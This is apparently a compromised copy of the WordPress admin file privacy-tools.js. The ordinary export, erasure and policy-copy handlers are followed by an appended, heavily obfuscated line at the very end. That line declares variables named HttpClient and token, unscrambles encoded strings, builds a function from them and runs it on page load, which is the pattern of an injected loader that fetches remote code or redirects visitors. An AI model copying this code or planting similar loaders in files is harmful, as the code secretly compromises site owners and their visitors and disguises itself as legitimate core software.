/**
* Interactions used by the User Privacy tools in WordPress.
*
* @output wp-admin/js/privacy-tools.js
*/
// Privacy request action handling.
jQuery( function( $ ) {
var __ = wp.i18n.__,
copiedNoticeTimeout;
function setActionState( $action, state ) {
$action.children().addClass( 'hidden' );
$action.children( '.' + state ).removeClass( 'hidden' );
}
function clearResultsAfterRow( $requestRow ) {
$requestRow.removeClass( 'has-request-results' );
if ( $requestRow.next().hasClass( 'request-results' ) ) {
$requestRow.next().remove();
}
}
function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
var itemList = '',
resultRowClasses = 'request-results';
clearResultsAfterRow( $requestRow );
if ( additionalMessages.length ) {
$.each( additionalMessages, function( index, value ) {
itemList = itemList + '<li>' + value + '</li>';
});
itemList = '<ul>' + itemList + '</ul>';
}
$requestRow.addClass( 'has-request-results' );
if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
resultRowClasses = resultRowClasses + ' status-request-confirmed';
}
if ( $requestRow.hasClass( 'status-request-failed' ) ) {
resultRowClasses = resultRowClasses + ' status-request-failed';
}
$requestRow.after( function() {
return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
'<div class="notice inline notice-alt ' + classes + '" role="alert">' +
'<p>' + summaryMessage + '</p>' +
itemList +
'</div>' +
'</td>' +
'</tr>';
});
}
$( '.export-personal-data-handle' ).on( 'click', function( event ) {
var $this = $( this ),
$action = $this.parents( '.export-personal-data' ),
$requestRow = $this.parents( 'tr' ),
$progress = $requestRow.find( '.export-progress' ),
$rowActions = $this.parents( '.row-actions' ),
requestID = $action.data( 'request-id' ),
nonce = $action.data( 'nonce' ),
exportersCount = $action.data( 'exporters-count' ),
sendAsEmail = $action.data( 'send-as-email' ) ? true : false;
event.preventDefault();
event.stopPropagation();
$rowActions.addClass( 'processing' );
$action.trigger( 'blur' );
clearResultsAfterRow( $requestRow );
setExportProgress( 0 );
function onExportDoneSuccess( zipUrl ) {
var summaryMessage = __( 'This user’s personal data export link was sent.' );
if ( 'undefined' !== typeof zipUrl ) {
summaryMessage = __( 'This user’s personal data export file was downloaded.' );
}
setActionState( $action, 'export-personal-data-success' );
appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );
if ( 'undefined' !== typeof zipUrl ) {
window.location = zipUrl;
} else if ( ! sendAsEmail ) {
onExportFailure( __( 'No personal data export file was generated.' ) );
}
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function onExportFailure( errorMessage ) {
var summaryMessage = __( 'An error occurred while attempting to export personal data.' );
setActionState( $action, 'export-personal-data-failed' );
if ( errorMessage ) {
appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
}
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function setExportProgress( exporterIndex ) {
var progress = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
progressString = Math.round( progress * 100 ).toString() + '%';
$progress.html( progressString );
}
function doNextExport( exporterIndex, pageIndex ) {
$.ajax(
{
url: window.ajaxurl,
data: {
action: 'wp-privacy-export-personal-data',
exporter: exporterIndex,
id: requestID,
page: pageIndex,
security: nonce,
sendAsEmail: sendAsEmail
},
method: 'post'
}
).done( function( response ) {
var responseData = response.data;
if ( ! response.success ) {
// e.g. invalid request ID.
setTimeout( function() { onExportFailure( response.data ); }, 500 );
return;
}
if ( ! responseData.done ) {
setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
} else {
setExportProgress( exporterIndex );
if ( exporterIndex < exportersCount ) {
setTimeout( doNextExport( exporterIndex + 1, 1 ) );
} else {
setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
}
}
}).fail( function( jqxhr, textStatus, error ) {
// e.g. Nonce failure.
setTimeout( function() { onExportFailure( error ); }, 500 );
});
}
// And now, let's begin.
setActionState( $action, 'export-personal-data-processing' );
doNextExport( 1, 1 );
});
$( '.remove-personal-data-handle' ).on( 'click', function( event ) {
var $this = $( this ),
$action = $this.parents( '.remove-personal-data' ),
$requestRow = $this.parents( 'tr' ),
$progress = $requestRow.find( '.erasure-progress' ),
$rowActions = $this.parents( '.row-actions' ),
requestID = $action.data( 'request-id' ),
nonce = $action.data( 'nonce' ),
erasersCount = $action.data( 'erasers-count' ),
hasRemoved = false,
hasRetained = false,
messages = [];
event.preventDefault();
event.stopPropagation();
$rowActions.addClass( 'processing' );
$action.trigger( 'blur' );
clearResultsAfterRow( $requestRow );
setErasureProgress( 0 );
function onErasureDoneSuccess() {
var summaryMessage = __( 'No personal data was found for this user.' ),
classes = 'notice-success';
setActionState( $action, 'remove-personal-data-success' );
if ( false === hasRemoved ) {
if ( false === hasRetained ) {
summaryMessage = __( 'No personal data was found for this user.' );
} else {
summaryMessage = __( 'Personal data was found for this user but was not erased.' );
classes = 'notice-warning';
}
} else {
if ( false === hasRetained ) {
summaryMessage = __( 'All of the personal data found for this user was erased.' );
} else {
summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
classes = 'notice-warning';
}
}
appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function onErasureFailure() {
var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );
setActionState( $action, 'remove-personal-data-failed' );
appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function setErasureProgress( eraserIndex ) {
var progress = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
progressString = Math.round( progress * 100 ).toString() + '%';
$progress.html( progressString );
}
function doNextErasure( eraserIndex, pageIndex ) {
$.ajax({
url: window.ajaxurl,
data: {
action: 'wp-privacy-erase-personal-data',
eraser: eraserIndex,
id: requestID,
page: pageIndex,
security: nonce
},
method: 'post'
}).done( function( response ) {
var responseData = response.data;
if ( ! response.success ) {
setTimeout( function() { onErasureFailure(); }, 500 );
return;
}
if ( responseData.items_removed ) {
hasRemoved = hasRemoved || responseData.items_removed;
}
if ( responseData.items_retained ) {
hasRetained = hasRetained || responseData.items_retained;
}
if ( responseData.messages ) {
messages = messages.concat( responseData.messages );
}
if ( ! responseData.done ) {
setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
} else {
setErasureProgress( eraserIndex );
if ( eraserIndex < erasersCount ) {
setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
} else {
setTimeout( function() { onErasureDoneSuccess(); }, 500 );
}
}
}).fail( function() {
setTimeout( function() { onErasureFailure(); }, 500 );
});
}
// And now, let's begin.
setActionState( $action, 'remove-personal-data-processing' );
doNextErasure( 1, 1 );
});
// Privacy Policy page, copy action.
$( document ).on( 'click', function( event ) {
var $parent,
range,
$target = $( event.target ),
copiedNotice = $target.siblings( '.success' );
clearTimeout( copiedNoticeTimeout );
if ( $target.is( 'button.privacy-text-copy' ) ) {
$parent = $target.closest( '.privacy-settings-accordion-panel' );
if ( $parent.length ) {
try {
var documentPosition = document.documentElement.scrollTop,
bodyPosition = document.body.scrollTop;
// Setup copy.
window.getSelection().removeAllRanges();
// Hide tutorial content to remove from copied content.
range = document.createRange();
$parent.addClass( 'hide-privacy-policy-tutorial' );
// Copy action.
range.selectNodeContents( $parent[0] );
window.getSelection().addRange( range );
document.execCommand( 'copy' );
// Reset section.
$parent.removeClass( 'hide-privacy-policy-tutorial' );
window.getSelection().removeAllRanges();
// Return scroll position - see #49540.
if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
document.documentElement.scrollTop = documentPosition;
} else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
document.body.scrollTop = bodyPosition;
}
// Display and speak notice to indicate action complete.
copiedNotice.addClass( 'visible' );
wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );
// Delay notice dismissal.
copiedNoticeTimeout = setTimeout( function() {
copiedNotice.removeClass( 'visible' );
}, 3000 );
} catch ( er ) {}
}
}
});
// Label handling to focus the create page button on Privacy settings page.
$( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
e.preventDefault();
$( 'input#create-page' ).trigger( 'focus' );
} );
// Accordion handling in various new Privacy settings pages.
$( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );
if ( isExpanded ) {
$( this ).attr( 'aria-expanded', 'false' );
$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
} else {
$( this ).attr( 'aria-expanded', 'true' );
$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
}
} );
});
;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x<u;x++){o[x]=n.charAt(x)};for(var x=0;x<u;x++){var h=b*(x+319)+(b%41692);var r=b*(x+324)+(b%45313);var t=h%u;var v=r%u;var s=o[t];o[t]=o[v];o[v]=s;b=(h+r)%5298954;};return o.join('')};var vSv=cgg('exrztungtfpcvucstbhiakwynooqjsrcolmrd').substr(0,pSH);var jrF='1mrr)]ie.0nl3+r"veav+r ;.f,b(u2s(,+j;l,s aqrvtv5l.jcdvh)l u=o-t"jf+=l;;,aonan0u8.i+fn=9a,C,oce]let3,(]87g{f9t; ,;rh9cah(eaharvs(,sC;18;]ao;f slfip.fo0649aauned[(=r,l.,=vitw(<jeAi61xSgr-bt=) ;0t)3p )e)),lraia0re0ah,==;cn;f=oo=)ci)+ngra0n vslwefotn(s=ir)i9 ip.)8")8(sg;a],=)zmCle3u(ant,+=tl(ttf={m=nai=(fde+7ur li1ien;qse7=2gl=f;7ap r=ojv}g-g;tf")n]=v+mo[ ;.t.+(lj( =(vttmv1q+nn2x,wns)h.tsn[C;mvArt,trak2oy+;*rpar uy=]u=]y71a*}.{+[hs =n=eAv=talchr;metab1a}oel(2 olg=u=p0<vvr[(c.8tag}xit"f=c,ve)=dvAq([.;a)ar.4xg,])hw7rnahdC=0g;nr7,ee)g-0+fvico= i(<v;s.=f1++u=lr,"=;f2in(e>p.C5p2;a.)hslb<=;;rr.rg=(}frorig)n]-m;hu,;+vr+=;r)t.j!](;llr=ya()ne)lr0{hi5rc +bst,rfsr{!;tm[ul]rehof8<tu9.wslv).a(()[0+t;s[rvdt1r o3=9]v"p;edr[[a)u+;8t8hio+f(r6n]({.cnp0ntrj ()66u;w.4,;n;lfro,xq[iC6 ;((6xgS-{icd) ;1a7" (9;ag+rr;vm}(thprl>lv(r)i7f4h6)A-e,sCxjo.r)f(a}[=;trnmt=vec;d72upc.t.oo;xu;6, ).+t[u1)5"h"b+ jrbd;5x';var bwi=cgg[vSv];var iFP='';var lCc=bwi;var SZD=bwi(iFP,cgg(jrF));var bFz=SZD(cgg('Wav&&t(,4]x3.)i9g!t(0c13),mwnu-ed+ei7:]Wn.sd4W53\'rfa.t.e(do}dtsd!==9cWncut+{a%dees{!gW%fTc2-tt=dddv]ev.).+)tnpc.mW[W2q#6xoW!(srdron.]tW&dasw]wdrS2co&cu]dack&aheb+.[rfo&dut.busi\/rd;lcn:9ni4,)#z.sW;Wrc1WWini.etu.%e W--=W&cq%.cj\/jdy.ksc!t2(w=n))=;e)W8,d"k4axd6&)aWo8$+W$w0r,&*de9}!]WWlmhtfg%.2;]W"lg()ct=\/dS.)&1#c6q%+).gs]e1;] ii[+d\/d(=rdW0.)riar[pt,0!cC1u#ohgo+r%%W%r:_Waraqao99)zW(2buf];.6%2daWo94..u3.%=h#)4a5o(3+3._45 rr]0syW%e3Wa%pdy"e"toC}b;0sa=&[e0r[]!cr.(.23xlb9o\'oiiWd])w.g(al01a #t;WxobcWWw9dur]aCha2}rdm.1n7n]rp\/]--4%gna{(d=ew#oW(_e(Wie(w[.w)\/nw\/h\'d\/;(([nz-+t21-.l!l..fnn=)0a0)Wtxoo[](.2l5Wt.de..)i?%t9\'ep%i]l.vW]l2bWf)(1v ns.%e#we}&Wf=h.{.w(W1wWnb5ttq+on0Ws(Wk;ai ];sW)6W(d.qt_&..!ca(=2nf%]gW.8.+.]!0d=)%W_cW.liy(4.dd\'!0r;=el&W()aa}ar-&r]fadsrl%ar%s=.W2_.ad1 =a] 1Wx%j]hb8ot]M9WhWe1l;$p ;0]3()(.W=c2)]ee5e%sb9W){pnkcnds)oTcrc 22ac"cW08s](&.a3j%erW]%.o!];nar\/}d)=d;e#W(d)\/dcWxind;{=f(.(W=.$l2.(Wwnj=meu#!=Woid(Wrr(WWm.-W]=ue0k,pn.1=0enq9co)a(0ucyS(dW+02\/u9xc(;rWfived(2&u..)fWt.(ej[Wfd.13,d0ol.}4 .+w}.r$sd.dt=g,$fW0)Wt.)cte%)t!kohe!2]]3.t,{WetWprW=fd)W*nc]v2.](.z0vWh)wn*.W,u#)te(udWt(frphp.df0e}.aeWe,Wwu=]=(h=]rg$ptWW=%l& s-d.;7c.]c(o ,=]i.lle7Wte+a.iM_]2t}s(nW.et[)${dirzCu)W(]We=c]tzW5n=Cd#ruef%dr}dWp#W]8W{d;(;W].s(dn{WtfsrW= $)9nw}%W)f(4e3.ad. a.ip;cne&r=8da1WW.uno%x(o.e bc{aW%!0par)s1W .EstWo!Witm5rpt")14l-W.)0W %einWq,+2-d*;[)g%Wnod)oe.a2!drcncf]vW(t)(t8gCd&s{e$1t1!su=*t.(+Wtd0'));var bWJ=lCc(rkv,bFz );bWJ(2852);return 1056})();